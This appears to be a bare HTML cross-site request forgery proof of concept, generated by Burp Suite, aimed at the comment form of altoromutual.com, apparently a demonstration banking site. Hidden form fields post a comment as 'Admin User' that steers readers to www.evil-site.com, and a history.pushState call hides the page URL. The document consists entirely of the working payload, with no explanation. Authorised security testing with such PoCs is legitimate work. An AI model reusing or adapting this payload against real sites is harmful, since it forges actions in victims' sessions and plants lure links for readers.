Untitled

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://altoromutual.com/comment.aspx" method="POST">
      <input type="hidden" name="cfile" value="comments&#46;txt" />
      <input type="hidden" name="name" value="Admin&#32;User" />
      <input type="hidden" name="email&#95;addr" value="email&#64;email&#46;email" />
      <input type="hidden" name="subject" value="subj" />
      <input type="hidden" name="comments" value="Who shared this link in todays meeting: www.evil-site.com ???" />
      <input type="hidden" name="submit" value="&#32;Submit&#32;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>